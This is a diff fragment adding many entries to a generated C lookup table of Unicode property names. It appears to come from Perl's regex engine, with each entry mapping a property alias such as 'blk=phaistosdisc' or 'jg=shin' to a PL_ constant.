+ { 7, 8340, 8334, 3, 4, PL_JG__SHIN } /* jg=shin */,
+ { 35, 6263, 1479, 10, 2, PL_LB__AI } /* linebreak=ai */,
+ { 0, 6890, 6029, 4, 12, PL_PHAISTOS } /* blk=phaistosdisc */,
+ { 20, 7380, 7944, 4, 2, PL_CCC__12 } /* ccc=12 */,
+ { 0, 1892, 7768, 5, 2, -PL_CASED } /* cased=f */,
+ { 2, 1589, 0, 5, 0, PL_LATN } /* latin */,
+ { 1, 7828, 3223, 6, 3, -PL_HYPHEN } /* hyphen=no */,
+ { 0, 6329, 7088, 11, 8, PL_XPOSIXDIGIT } /* numerictype=decimal */,
+ { 1, 4464, 7996, 4, 5, PL_NFDQC__Y } /* nfdqc=yes */,
+ { 0, 1282, 0, 10, 0, PL_CJKSYMBOLS } /* cjksymbols */,
+ { 1, 6208, 3581, 5, 2, PL_JOINC } /* joinc=t */,
+ { 3, 6263, 73, 10, 2, PL_LB__EM } /* linebreak=em */,
+ { 7, 8096, 8352, 4, 4, PL_KHMR } /* scx=khmr */,
+ { 1, 8026, 5122, 3, 13, PL_INPSALTERPAHLAVI } /* inpsalterpahlavi */,
+ { 1, 974, 8693, 24, 3, PL_CCC__A } /* canonicalcombiningclass=230 */,
+ { 3, 7224, 1929, 8, 5, PL_XPOSIXUPPER } /* isxposixupper */,
+ { 0, 1448, 6747, 3, 9, PL_SMALLFORMS } /* insmallforms */,
+ { 35, 5968, 7008, 3, 8, PL_INOLDITALIC } /* inolditalic */,
+ { 0, 4314, 8484, 13, 4, PL_JG__QAPH } /* joininggroup=qaph */,
+ { 0, 184, 8412, 2, 4, PL_MTEI } /* ismtei */,
+ { 2, 7459, 7104, 3, 8, PL_SC__ARMN } /* sc=armenian */,
+ { 8, 8096, 4010, 4, 6, PL_TANG } /* scx=tangut */,
+ { 5, 8572, 138, 3, 2, PL_WB__FO } /* wb=fo */,
+ { 2, 5968, 6677, 3, 9, PL_INOLDPERSIAN } /* inoldpersian */,
+ { 18, 8196, 6796, 4, 10, PL_AGE__NA } /* age=unassigned */,
+ { 0, 8026, 7584, 3, 6, PL_INPHAGSPA } /* inphagspa */,
+ { 0, 8196, 8840, 4, 3, PL_IN__1_DOT_1 } /* age=v11 */,
+ { 5, 184, 698, 2, 2, PL_MN } /* ismn */,
+ { 0, 7555, 0, 7, 0, PL_OLCK } /* olchiki */,
+ { 6, 7459, 7, 3, 18, PL_CANS } /* sc=canadianaboriginal */,
+ { 10, 6890, 7639, 4, 7, PL_INTAITHAM } /* blk=taitham */,
+ { 0, 8376, 83, 3, 2, PL_LB__CM } /* lb=cm */,
+ { 3, 1426, 4164, 22, 15, PL_INSC__CONSONANTKILLER } /* indicsyllabiccategory=consonantkiller */,
+ { 52, 8816, 7732, 3, 3, PL_NV__500 } /* nv=500 */,
+ { 3, 8340, 5065, 3, 14, PL_JG__NOJOININGGROUP } /* jg=nojoininggroup */,
+ { 0, 184, 7416, 3, 6, PL_CJKEXTE } /* iscjkexte */,
+ { 0, 8240, 4119, 3, 15, PL_BC__BN } /* bc=boundaryneutral */,
+ { 12, 2859, 568, 18, 2, PL_DT__NB } /* decompositiontype=nb */,
+ { 7, 6263, 7828, 10, 2, PL_LB__HY } /* linebreak=hy */,
+ { 3, 6890, 42, 4, 16, PL_CJKCOMPAT } /* blk=cjkcompatibility */,
+ { 0, 21, 4660, 3, 13, PL_ANCIENTSYMBOLS } /* inancientsymbols */,
+ { 3, 8777, 3223, 3, 3, -PL_CWL } /* cwl=no */,
+ { 0, 8096, 8544, 4, 4, PL_TAVT } /* scx=tavt */,
+ { 1, 8276, 7768, 4, 6, -PL_CWCM } /* cwcm=false */,
+ { 0, 974, 8916, 24, 2, PL_CCC__84 } /* canonicalcombiningclass=84 */,
+ { 0, 7136, 7145, 7, 7, PL_INBUGINESE } /* block=buginese */,
+ { 3, 7136, 7583, 6, 7, PL_INPHAGSPA } /* block=phagspa */,
+ { 3, 7380, 7727, 7, 2, PL_CCC__32 } /* ccc=ccc32 */,
+ { 0, 7380, 1108, 4, 3, PL_CCC__214 } /* ccc=ata */,
+ { 4, 8248, 1, 4, 1, PL_BPT__N } /* bpt=n */,
+ { 4, 1474, 723, 23, 4, PL_BPT__C } /* bidipairedbrackettype=close */,
+ { 4, 8196, 8735, 4, 3, PL_AGE__5_DOT_1 } /* age=5.1 */,
+ { 18, 1887, 3223, 9, 2, -PL_XPOSIXLOWER } /* lowercase=n */,
+ { 7, 5192, 247, 3, 2, PL_IDS } /* isids */,
+ { 8, 3129, 2044, 17, 11, PL_MTEI } /* scriptextensions=meeteimayek */,
+ { 0, 6362, 0, 11, 0, PL_SO } /* othersymbol */,
+ { 3, 974, 8899, 27, 2, PL_CCC__35 } /* canonicalcombiningclass=ccc35 */,
+ { 2, 1, 0, 1, 0, PL_N } /* n */,
+ { 0, 6263, 5777, 10, 12, PL_LB__HL } /* linebreak=hebrewletter */,
+ { 1, 8096, 7604, 4, 4, PL_SIDD } /* scx=sidd */,
+ { 0, 6890, 7780, 4, 6, PL_INCARIAN } /* blk=carian */,
+ { 0, 7336, 0, 8, 0, PL_UGAR } /* ugaritic */,
+ { 9, 76, 7762, 2, 3, PL_NT__DI } /* nt=di */,
+ { 0, 8240, 3446, 3, 3, PL_BC__RLI } /* bc=rli */,
+ { 1, 8026, 850, 3, 13, PL_PUA } /* inprivateusearea */,
+ { 0, 3526, 7997, 17, 2, PL_RI } /* regionalindicator=y */,
+ { 0, 2859, 45, 18, 6, PL_DT__COM } /* decompositiontype=compat */,
+ { 14, 8816, 7744, 3, 4, PL_NV__7000 } /* nv=7000 */,
+ { 0, 1963, 3223, 7, 3, -PL_RADICAL } /* radical=no */,
+ { 1, 184, 8308, 2, 4, PL_GURU } /* isguru */,
+ { 1, 8011, 107, 4, 5, PL_S } /* gc=symbol */,
+ { 6, 2859, 3690, 18, 3, PL_DT__FIN } /* decompositiontype=fin */,
+ { 2, 6613, 5778, 3, 5, PL_HEBR } /* ishebrew */,
+ { 0, 8076, 0, 5, 0, PL_PATWS } /* patws */,
+ { 4, 184, 1982, 3, 7, PL_CYRL } /* iscyrillic */,
+ { 2, 1417, 8937, 9, 2, PL_ZL } /* category=zl */,
+ { 0, 2877, 0, 13, 0, PL_DEVANAGARIEXT } /* devanagariext */,
+ { 5, 2044, 0, 11, 0, PL_MTEI } /* meeteimayek */,
+ { 0, 7674, 0, 7, 0, PL_UCASEXT } /* ucasext */,
+ { 9, 184, 7144, 2, 4, PL_BUGI } /* isbugi */,
+ { 10, 5051, 8256, 5, 4, PL_NFKDQC__N } /* nfkdqc=no */,
+ { 0, 8096, 7436, 4, 7, PL_ELBA } /* scx=elbasan */,
+ { 0, 7288, 8444, 7, 4, PL_OLCK } /* script=olck */,
+ { 3, 6890, 148, 4, 35, PL_DIACRITICALSSUP } /* blk=combiningdiacriticalmarkssupplement */,
+ { 2, 6890, 8046, 4, 5, PL_INLIMBU } /* blk=limbu */,
+ { 1, 1417, 6340, 9, 11, PL_LO } /* category=otherletter */,
+ { 1, 7459, 6989, 3, 9, PL_TALU } /* sc=newtailue */,
+ { 4, 7288, 4509, 7, 15, PL_SARB } /* script=oldsoutharabian */,
+ { 1, 8288, 7216, 3, 8, PL_DT__ISO } /* dt=isolated */,
+ { 1, 184, 7816, 2, 6, PL_GRBASE } /* isgrbase */,
+ { 0, 7457, 6716, 5, 10, PL_INSC__PUREKILLER } /* insc=purekiller */,
+ { 2, 1346, 5339, 5, 10, PL_GREEKEXT } /* ingreekextended */,
+ { 0, 3129, 6439, 17, 11, PL_SYLO } /* scriptextensions=sylotinagri */,
+ { 3, 7457, 2446, 5, 19, PL_INSC__CONSONANTHEADLETTER } /* insc=consonantheadletter */,
+ { 2, 4314, 5440, 13, 13, PL_JG__MALAYALAMNNNA } /* joininggroup=malayalamnnna */,
+ { 0, 4590, 3223, 2, 3, -PL_VS } /* vs=no */,
+ { 0, 7136, 808, 6, 18, PL_PHONETICEXT } /* block=phoneticextensions */,
+ { 10, 8096, 8500, 4, 4, PL_SARB } /* scx=sarb */,
+ { 37, 4599, 0, 15, 0, PL_LU } /* uppercaseletter */,
+ { 1, 6472, 34, 10, 6, PL_WB__EXTEND } /* wordbreak=extend */,
+ { 0, 7136, 4509, 6, 15, PL_SARB } /* block=oldsoutharabian */,
+ { 4, 2967, 0, 8, 0, PL_GEOR } /* georgian */,
+ { 1, 7136, 2128, 6, 6, PL_YIJING } /* block=yijing */,
+ { 0, 3129, 7870, 17, 4, PL_LEPC } /* scriptextensions=lepc */,
+ { 0, 5645, 23, 10, 2, PL_BC__AL } /* bidiclass=al */,
+ { 0, 1159, 3581, 25, 2, PL_CWKCF } /* changeswhennfkccasefolded=t */,
+ { 0, 3129, 7870, 17, 6, PL_LEPC } /* scriptextensions=lepcha */,
+ { 9, 8536, 0, 4, 0, PL_TALU } /* talu */,
+ { 5, 2369, 0, 20, 1, PL_VO__U } /* verticalorientation=u */,
+ { 4, 974, 8688, 24, 2, PL_CCC__26 } /* canonicalcombiningclass=26 */,
+ { 0, 5765, 7997, 12, 2, PL_GRBASE } /* graphemebase=y */,
+ { 4, 8798, 3581, 3, 2, PL_LOE } /* loe=t */,
+ { 1, 6890, 6005, 4, 12, PL_INOLDHUNGARIAN } /* blk=oldhungarian */,
+ { 5, 6890, 4104, 4, 8, PL_BAMUMSUP } /* blk=bamumsup */,
+ { 1, 2108, 7452, 4, 5, PL_INHANUNOO } /* inhanunoo */,
+ { 0, 8937, 0, 2, 0, PL_ZL } /* zl */,
+ { 1, 7136, 6029, 6, 12, PL_PHAISTOS } /* block=phaistosdisc */,
+ { 3, 7288, 5933, 7, 12, PL_GONM } /* script=masaramgondi */,
+ { 1, 8340, 8392, 3, 4, PL_JG__MEEM } /* jg=meem */,
+ { 0, 4314, 8131, 13, 5, PL_JG__ZHAIN } /* joininggroup=zhain */,
+ { 2, 2236, 8932, 10, 1, PL_L_AMP_ } /* category=l& */,
+ { 2, 7590, 0, 7, 0, PL_SHRD } /* sharada */,
+ { 2, 7136, 6882, 7, 8, PL_INBHAIKSUKI } /* block=bhaiksuki */,
+ { 2, 2100, 6363, 3, 10, PL_SO } /* isothersymbol */,
+ { 1, 7478, 2108, 3, 3, PL_SINH } /* issinh */,
+ { 0, 5544, 8148, 13, 4, PL_NV__1_SLASH_40 } /* numericvalue=1/40 */,
+ { 0, 7288, 7061, 7, 9, PL_SAMR } /* script=samaritan */,
+ { 0, 8096, 8528, 4, 4, PL_SYRC } /* scx=syrc */,
+ { 1, 6263, 223, 10, 2, PL_LB__PR } /* linebreak=pr */,
+ { 0, 8572, 3914, 3, 5, PL_WB__XX } /* wb=other */,
+ { 3, 1797, 0, 14, 0, PL_LM } /* modifierletter */,
+ { 5, 7457, 7981, 5, 5, PL_INSC__BINDU } /* insc=bindu */,
+ { 0, 8101, 7768, 5, 6, -PL_STERM } /* sterm=false */,
+ { 12, 7478, 6757, 3, 9, PL_SD } /* issoftdotted */,
+ { 0, 3129, 7351, 17, 4, PL_TALE } /* scriptextensions=tale */,
+ { 3, 42, 0, 36, 0, PL_CJKCOMPATIDEOGRAPHSSUP } /* cjkcompatibilityideographssupplement */,
+ { 5, 8816, 8703, 3, 2, PL_NV__34 } /* nv=34 */,
+ { 0, 3526, 0, 17, 0, PL_RI } /* regionalindicator */,
+ { 1, 7380, 7756, 4, 1, PL_CCC__9 } /* ccc=9 */,
+ { 0, 1417, 218, 9, 2, PL_PE } /* category=pe */,
+ { 0, 8121, 3223, 5, 2, -PL_UIDEO } /* uideo=n */,
+ { 8, 415, 7997, 11, 4, PL_IDEO } /* ideographic=yes */,
+ { 1, 6890, 1001, 4, 27, PL_ENCLOSEDCJK } /* blk=enclosedcjklettersandmonths */,
+ { 8, 3129, 8488, 17, 4, PL_RJNG } /* scriptextensions=rjng */,
+ { 0, 6329, 7096, 11, 3, PL_NT__NU } /* numerictype=nu */,
+ { 0, 4542, 8117, 3, 4, PL_TAML } /* istamil */,
+ { 2, 184, 1961, 3, 13, PL_CJKRADICALSSUP } /* iscjkradicalssup */,
+ { 1, 8196, 8864, 4, 3, PL_AGE__5 } /* age=v50 */,
+ { 64, 96, 7997, 5, 4, PL_XPOSIXALPHA } /* alpha=yes */,
+ { 11, 8340, 2437, 3, 3, PL_JG__YEH } /* jg=yeh */,
+ { 0, 7136, 7858, 6, 6, PL_INKHOJKI } /* block=khojki */,
+ { 0, 8340, 1353, 4, 2, PL_JG__GAF } /* jg=gaf */,
+ { 0, 8816, 8762, 3, 3, PL_NV__7_SLASH_8 } /* nv=7/8 */,
+ { 0, 7288, 7429, 7, 7, PL_DSRT } /* script=deseret */,
+ { 0, 8816, 8184, 3, 4, PL_NV__5_SLASH_12 } /* nv=5/12 */,
+ { 0, 6210, 1961, 3, 20, PL_CJKRADICALSSUP } /* incjkradicalssupplement */,
+ { 15, 1701, 3223, 2, 3, -PL_SD } /* sd=no */,
+ { 4, 8272, 7997, 4, 4, PL_CWCF } /* cwcf=yes */,
+ { 0, 974, 8168, 24, 2, PL_CCC__17 } /* canonicalcombiningclass=17 */,
+ { 0, 7288, 2149, 7, 20, PL_HLUW } /* script=anatolianhieroglyphs */,
+ { 26, 7288, 8192, 7, 4, PL_SC__ADLM } /* script=adlm */,
+ { 10, 8376, 3521, 3, 5, PL_LB__SP } /* lb=space */,
+ { 0, 184, 7200, 2, 8, PL_GURU } /* isgurmukhi */,
+ { 4, 8011, 8931, 3, 2, PL_L_AMP_ } /* gc=l& */,
+ { 9, 8096, 5400, 5, 7, PL_BALI } /* scx=balinese */,
+ { 3, 7459, 5957, 3, 4, PL_MEND } /* sc=mend */,
+ { 1, 3129, 8220, 17, 4, PL_ARMN } /* scriptextensions=armn */,
+ { 0, 6890, 5596, 4, 13, PL_VERTICALFORMS } /* blk=verticalforms */,
+ { 8, 6219, 7768, 11, 2, -PL_JOINC } /* joincontrol=f */,
+ { 2, 6890, 382, 4, 33, PL_SUPSYMBOLSANDPICTOGRAPHS } /* blk=supplementalsymbolsandpictographs */,
+ { 1, 974, 7941, 27, 2, PL_CCC__11 } /* canonicalcombiningclass=ccc11 */,
+ { 0, 7227, 62, 5, 5, PL_POSIXGRAPH } /* posixgraph */,
+ { 0, 5245, 7768, 13, 6, -PL_POSIXXDIGIT } /* asciihexdigit=false */,
+ { 0, 184, 6953, 2, 9, PL_LATINEXTD } /* islatinextd */,
+ { 26, 6329, 7762, 11, 3, PL_NT__DI } /* numerictype=di */,
+ { 1, 6706, 8873, 10, 3, PL_IN__6 } /* presentin=v60 */,
+ { 1, 1206, 1813, 3, 14, PL_TRANSPORTANDMAP } /* intransportandmap */,
+ { 14, 7459, 8236, 3, 4, PL_BATK } /* sc=batk */,
+ { 0, 5544, 5219, 13, 6, PL_NV__100000 } /* numericvalue=100000 */,
+ { 10, 2229, 3003, 16, 18, PL_PI } /* generalcategory=initialpunctuation */,
+ { 7, 7288, 3458, 7, 10, PL_SC__MANI } /* script=manichaean */,
+ { 0, 8376, 1886, 3, 2, PL_LB__NL } /* lb=nl */,
+ { 0, 8340, 4911, 3, 14, PL_JG__MANICHAEANAYIN } /* jg=manichaeanayin */,
+ { 0, 7136, 7394, 6, 7, PL_CJKEXTB } /* block=cjkextb */,
+ { 0, 8204, 7997, 4, 2, PL_POSIXXDIGIT } /* ahex=y */,
+ { 0, 7288, 6626, 7, 10, PL_KHAR } /* script=kharoshthi */,
+ { 0, 3129, 4104, 17, 4, PL_BAMU } /* scriptextensions=bamu */,
+ { 5, 7478, 6440, 3, 3, PL_SYLO } /* issylo */,
+ { 0, 7288, 7034, 7, 4, PL_PALM } /* script=palm */,
+ { 3, 8011, 7, 3, 1, PL_C } /* gc=c */,
+ { 0, 7459, 8416, 3, 4, PL_SC__MYMR } /* sc=mymr */,
+ { 17, 6890, 1234, 4, 24, PL_ARABICPFA } /* blk=arabicpresentationformsa */,
+ { 1, 8021, 3223, 5, 3, -PL_GREXT } /* grext=no */,
+ { 1, 7457, 4058, 5, 16, PL_INSC__VOWELINDEPENDENT } /* insc=vowelindependent */,
+ { 8, 7459, 7810, 3, 4, PL_GOTH } /* sc=goth */,
+ { 0, 7459, 7312, 3, 8, PL_SC__TAGB } /* sc=tagbanwa */,
+ { 0, 8196, 8768, 4, 3, PL_AGE__9 } /* age=9.0 */,
+ { 65, 2065, 7997, 21, 4, PL_NCHAR } /* noncharactercodepoint=yes */,
+ { 0, 6219, 3581, 11, 2, PL_JOINC } /* joincontrol=t */,
+ { 7, 2023, 0, 21, 0, PL_LOE } /* logicalorderexception */,
+ { 2, 5544, 8703, 13, 2, PL_NV__34 } /* numericvalue=34 */,
+ { 0, 8196, 8612, 4, 3, PL_IN__1_DOT_1 } /* age=1.1 */,
+ { 0, 117, 448, 3, 17, PL_IDEOGRAPHICSYMBOLS } /* inideographicsymbols */,
+ { 5, 8096, 5957, 4, 4, PL_MEND } /* scx=mend */,
+ { 2, 6706, 8735, 10, 3, PL_IN__5_DOT_1 } /* presentin=5.1 */,
+ { 1, 7459, 7152, 3, 8, PL_SC__DUPL } /* sc=duployan */,
+ { 0, 3129, 7010, 17, 4, PL_ITAL } /* scriptextensions=ital */,
+ { 2, 1426, 5205, 22, 14, PL_INSC__VOWELDEPENDENT } /* indicsyllabiccategory=voweldependent */,
+ { 7, 5544, 7744, 13, 6, PL_NV__700000 } /* numericvalue=700000 */,
+ { 7, 974, 2590, 24, 2, PL_CCC__1 } /* canonicalcombiningclass=ov */,
+ { 13, 7224, 2985, 3, 3, PL_XIDS } /* isxids */,
+ { 0, 3129, 7208, 17, 4, PL_HIRA } /* scriptextensions=hira */,
+ { 0, 974, 8897, 24, 2, PL_CCC__19 } /* canonicalcombiningclass=19 */,
+ { 6, 7459, 7336, 3, 8, PL_UGAR } /* sc=ugaritic */,
+ { 7, 4479, 7373, 5, 7, PL_NFCQC__M } /* nfkcqc=maybe */,
+ { 0, 1929, 3223, 9, 3, -PL_XPOSIXUPPER } /* uppercase=no */,
+ { 3, 3129, 7366, 17, 7, PL_BENG } /* scriptextensions=bengali */,
+ { 0, 7380, 8899, 4, 2, PL_CCC__35 } /* ccc=35 */,
+ { 0, 4524, 0, 15, 0, PL_PS } /* openpunctuation */,
+ { 0, 5957, 0, 12, 0, PL_MEND } /* mendekikakui */,
+ { 0, 8340, 7961, 3, 5, PL_JG__ALAPH } /* jg=alaph */,
+ { 0, 3037, 0, 3, 0, PL_ALL } /* all */,
+ { 0, 974, 8633, 24, 3, PL_CCC__103 } /* canonicalcombiningclass=103 */,
+ { 0, 1566, 0, 6, 0, PL_HANG } /* hangul */,
+ { 2, 6472, 698, 10, 2, PL_WB__MN } /* wordbreak=mn */,
+ { 2, 3129, 6696, 17, 10, PL_PHNX } /* scriptextensions=phoenician */,
+ { 7, 974, 8639, 27, 3, PL_CCC__118 } /* canonicalcombiningclass=ccc118 */,
+ { 0, 6484, 3581, 10, 2, PL_IDC } /* idcontinue=t */,
+ { 39, 4010, 0, 16, 0, PL_TANGUTCOMPONENTS } /* tangutcomponents */,
+ { 2, 8376, 4897, 3, 14, PL_LB__BK } /* lb=mandatorybreak */,
+ { 2, 7136, 7312, 6, 8, PL_INTAGBANWA } /* block=tagbanwa */,
+ { 0, 5245, 0, 13, 0, PL_POSIXXDIGIT } /* asciihexdigit */,
+ { 4, 4554, 69, 14, 2, PL_SB__UP } /* sentencebreak=up */,
+ { 0, 2229, 112, 16, 2, PL_SC } /* generalcategory=sc */,
+ { 0, 3129, 6439, 17, 4, PL_SYLO } /* scriptextensions=sylo */,
+ { 2, 184, 6806, 2, 4, PL_WARA } /* iswara */,
+ { 0, 5375, 6165, 13, 10, PL_JT__D } /* joiningtype=dualjoining */,
+ { 3, 250, 0, 33, 0, PL_DIACRITICALSEXT } /* combiningdiacriticalmarksextended */,
+ { 4, 184, 5645, 2, 5, PL_BIDIC } /* isbidic */,
+ { 4, 8340, 6526, 3, 10, PL_JG__AFRICANQAF } /* jg=africanqaf */,
+ { 3, 2088, 0, 2, 0, PL_PD } /* pd */,
+ { 1, 8336, 7662, 4, 5, PL_INTIRHUTA } /* intirhuta */,
+ { 0, 6890, 3147, 4, 18, PL_TAIXUANJING } /* blk=taixuanjingsymbols */,
+ { 3, 7894, 7951, 6, 5, PL_PATSYN } /* patsyn=true */,
+ { 41, 1448, 3562, 4, 15, PL_SUTTONSIGNWRITING } /* insuttonsignwriting */,
+ { 6, 6890, 808, 4, 11, PL_PHONETICEXT } /* blk=phoneticext */,
+ { 2, 184, 2044, 2, 21, PL_MEETEIMAYEKEXT } /* ismeeteimayekextensions */,
+ { 0, 7660, 0, 7, 0, PL_TIRH } /* tirhuta */,
+ { 13, 6647, 3290, 4, 15, PL_AGHB } /* iscaucasianalbanian */,
+ { 1, 6890, 1691, 4, 11, PL_NUMBERFORMS } /* blk=numberforms */,
+ { 0, 2229, 5135, 16, 14, PL_ZS } /* generalcategory=spaceseparator */,
+ { 2, 184, 2484, 2, 4, PL_EGYP } /* isegyp */,
+ { 1, 4314, 5492, 13, 13, PL_JG__MANICHAEANTAW } /* joininggroup=manichaeantaw */,
+ { 0, 7136, 4419, 6, 15, PL_MISCPICTOGRAPHS } /* block=miscpictographs */,
+ { 1, 1918, 7768, 21, 2, -PL_CWU } /* changeswhenuppercased=f */,
+ { 0, 3129, 6736, 17, 10, PL_SAUR } /* scriptextensions=saurashtra */,
+ { 4, 7380, 226, 4, 2, PL_CCC__BL } /* ccc=bl */,
+ { 2, 2229, 7, 16, 1, PL_C } /* generalcategory=c */,
+ { 1, 7288, 7882, 7, 4, PL_LYDI } /* script=lydi */,
+ { 0, 8508, 7883, 4, 3, PL_LYDI } /* sc=lydi */,
+ { 54, 8096, 8260, 4, 4, PL_CAKM } /* scx=cakm */,
+ { 1, 7457, 1520, 5, 23, PL_INSC__CONSONANTPRECEDINGREPHA } /* insc=consonantprecedingrepha */,
+ { 18, 6373, 0, 11, 0, PL_HMNG } /* pahawhhmong */,
+ { 0, 8340, 3802, 3, 16, PL_JG__MANICHAEANLAMEDH } /* jg=manichaeanlamedh */,
+ { 24, 8240, 16, 3, 1, PL_BC__B } /* bc=b */,
+ { 0, 7288, 7918, 7, 6, PL_SC__THAA } /* script=thaana */,
+ { 5, 6890, 4855, 4, 14, PL_LATINEXTC } /* blk=latinextendedc */,
+ { 0, 2108, 4800, 3, 13, PL_HIGHSURROGATES } /* inhighsurrogates */,
+ { 5, 513, 7768, 16, 6, -PL_UIDEO } /* unifiedideograph=false */,
+ { 7, 361, 0, 21, 0, PL_MATHOPERATORS } /* mathematicaloperators */,
+ { 1, 8096, 8066, 4, 5, PL_ORYA } /* scx=oriya */,
+ { 2, 974, 6131, 24, 11, PL_CCC__DA } /* canonicalcombiningclass=doubleabove */,
+ { 1, 7288, 8448, 7, 4, PL_ORKH } /* script=orkh */,
+ { 6, 7288, 7351, 7, 4, PL_SC__TALE } /* script=tale */,
+ { 8, 3509, 7997, 17, 4, PL_PATWS } /* patternwhitespace=yes */,
+ { 1, 7459, 2004, 5, 19, PL_PRTI } /* sc=inscriptionalparthian */,
+ { 0, 4402, 284, 3, 32, PL_MISCMATHSYMBOLSA } /* inmiscellaneousmathematicalsymbolsa */,
+ { 64, 7120, 0, 8, 0, PL_BALI } /* balinese */,
+ { 1, 3129, 8440, 17, 4, PL_OGAM } /* scriptextensions=ogam */,
+ { 12, 7288, 8408, 7, 4, PL_MRO } /* script=mroo */,
+ { 0, 7858, 0, 6, 0, PL_KHOJ } /* khojki */,
+ { 2, 1701, 7768, 2, 6, -PL_SD } /* sd=false */,
+ { 4, 3129, 7061, 17, 9, PL_SAMR } /* scriptextensions=samaritan */,
+ { 1, 4402, 2637, 3, 8, PL_INMONGOLIAN } /* inmongolian */,
+ { 1, 7288, 8604, 7, 4, PL_SC__ZYYY } /* script=zyyy */,
+ { 4, 4923, 5827, 4, 10, PL_MAHJONG } /* inmahjongtiles */,
+ { 1, 184, 5657, 2, 5, PL_BIDIM } /* isbidim */,
+ { 0, 11, 7997, 2, 2, PL_DI } /* di=y */,
+ { 1, 1417, 3084, 9, 9, PL_Z } /* category=separator */,
+ { 10, 2229, 1621, 16, 6, PL_CF } /* generalcategory=format */,
+ { 4, 2465, 0, 11, 0, PL_COUNTINGROD } /* countingrod */,
+ { 0, 7136, 4813, 6, 14, PL_KANASUP } /* block=kanasupplement */,
+ { 6, 2249, 0, 20, 0, PL_GLAGOLITICSUP } /* glagoliticsupplement */,
+ { 3, 2229, 47, 16, 1, PL_M } /* generalcategory=m */,
+ { 0, 8096, 8580, 4, 4, PL_XPEO } /* scx=xpeo */,
+ { 4, 8376, 4673, 3, 14, PL_LB__CR } /* lb=carriagereturn */,
+ { 0, 8340, 8131, 3, 5, PL_JG__ZHAIN } /* jg=zhain */,
+ { 21, 8572, 3526, 3, 17, PL_RI } /* wb=regionalindicator */,
+ { 0, 5192, 358, 3, 3, PL_ITAL } /* isital */,
+ { 6, 8096, 8296, 4, 4, PL_GONM } /* scx=gonm */,
+ { 0, 8240, 24, 3, 1, PL_BC__L } /* bc=l */,
+ { 0, 5645, 5621, 10, 12, PL_BC__AL } /* bidiclass=arabicletter */,
+ { 0, 7232, 0, 8, 0, PL_JAMOEXTA } /* jamoexta */,
+ { 0, 6406, 0, 4, 0, PL_SORA } /* sora */,
+ { 10, 184, 2503, 2, 19, PL_ENCLOSEDALPHANUMSUP } /* isenclosedalphanumsup */,
+ { 0, 7136, 1108, 7, 4, PL_INBATAK } /* block=batak */,
+ { 0, 3129, 4134, 17, 4, PL_BRAI } /* scriptextensions=brai */,
+ { 15, 6890, 7152, 4, 8, PL_INDUPLOYAN } /* blk=duployan */,
+ { 0, 184, 3357, 3, 16, PL_CYRILLICEXTC } /* iscyrillicextendedc */,
+ { 0, 8096, 7016, 4, 9, PL_PERM } /* scx=oldpermic */,
+ { 0, 5544, 8171, 13, 2, PL_NV__23 } /* numericvalue=23 */,
+ { 1, 4542, 1909, 3, 4, PL_LT } /* istitle */,
+ { 4, 8816, 5219, 3, 2, PL_NV__10 } /* nv=10 */,
+ { 2, 2229, 8263, 16, 2, PL_MC } /* generalcategory=mc */,
+ { 8, 184, 7192, 2, 8, PL_GUJR } /* isgujarati */,
+ { 11, 5375, 6656, 12, 10, PL_JT__U } /* joiningtype=nonjoining */,
+ { 1, 7689, 698, 4, 2, PL_ARMN } /* isarmn */,
+ { 1, 8096, 57, 4, 2, PL_YI } /* scx=yi */,
+ { 0, 6890, 2503, 4, 19, PL_ENCLOSEDALPHANUMSUP } /* blk=enclosedalphanumsup */,
+ { 5, 5583, 3581, 13, 2, PL_QMARK } /* quotationmark=t */,
+ { 1, 8196, 7744, 4, 1, PL_AGE__7 } /* age=7 */,
+ { 3, 7994, 7769, 4, 5, -PL_IDC } /* idc=false */,
+ { 4, 3521, 7768, 5, 2, -PL_XPOSIXSPACE } /* space=f */,
+ { 14, 8288, 3003, 3, 7, PL_DT__INIT } /* dt=initial */,
+ { 2, 7288, 6414, 8, 3, PL_SC__BENG } /* script=beng */,
+ { 0, 6646, 0, 10, 0, PL_MISCARROWS } /* miscarrows */,
+ { 0, 8572, 6153, 3, 11, PL_WB__DQ } /* wb=doublequote */,
+ { 0, 8376, 7280, 3, 8, PL_LB__NL } /* lb=nextline */,
+ { 7, 6890, 4010, 4, 16, PL_TANGUTCOMPONENTS } /* blk=tangutcomponents */,
+ { 1, 8096, 7780, 4, 6, PL_CARI } /* scx=carian */,
+ { 0, 8096, 7320, 4, 8, PL_TFNG } /* scx=tifinagh */,
+ { 5, 2100, 4496, 4, 13, PL_NARB } /* isoldnortharabian */,
+ { 16, 5645, 435, 10, 2, PL_BC__ON } /* bidiclass=on */,
+ { 0, 186, 3223, 2, 3, -PL_CE } /* ce=no */,
+ { 1, 3129, 7128, 17, 4, PL_BASS } /* scriptextensions=bass */,
+ { 0, 184, 1497, 2, 14, PL_BYZANTINEMUSIC } /* isbyzantinemusic */,
+ { 4, 6890, 836, 4, 28, PL_SUPPUAA } /* blk=supplementaryprivateuseareaa */,
+ { 0, 8240, 3930, 3, 16, PL_BC__S } /* bc=segmentseparator */,
+ { 0, 1746, 852, 21, 1, PL_GCB__V } /* graphemeclusterbreak=v */,
+ { 0, 2636, 0, 4, 0, PL_MONG } /* mong */,
+ { 13, 2236, 0, 10, 1, PL_LU } /* category=lu */,
+ { 1, 8340, 4344, 3, 15, PL_JG__MANICHAEANALEPH } /* jg=manichaeanaleph */,
+ { 3, 84, 0, 4, 0, PL_MATH } /* math */,
+ { 6, 1963, 3223, 7, 2, -PL_RADICAL } /* radical=n */,
+ { 9, 184, 1797, 2, 14, PL_LM } /* ismodifierletter */,
+ { 0, 1540, 0, 4, 0, PL_PHAG } /* phag */,
+ { 1, 8504, 112, 3, 2, PL_SB__SC } /* sb=sc */,
+ { 4, 8096, 1107, 4, 8, PL_KANA } /* scx=katakana */,
+ { 0, 7894, 7997, 6, 2, PL_PATSYN } /* patsyn=y */,
+ { 1, 3129, 8452, 17, 4, PL_ORYA } /* scriptextensions=orya */,
+ { 15, 7136, 4827, 6, 6, PL_KANGXI } /* block=kangxi */,
+ { 0, 6890, 1589, 4, 9, PL_LATINEXTE } /* blk=latinexte */,
+ { 1, 7136, 113, 6, 25, PL_DIACRITICALS } /* block=combiningdiacriticalmarks */,
+ { 4, 6210, 43, 3, 15, PL_CJKCOMPAT } /* incjkcompatibility */,
+ { 0, 184, 6307, 2, 11, PL_MYANMAREXTA } /* ismyanmarexta */,
+ { 2, 1929, 3581, 9, 2, PL_XPOSIXUPPER } /* uppercase=t */,
+ { 3, 8816, 5219, 3, 4, PL_NV__1000 } /* nv=1000 */,
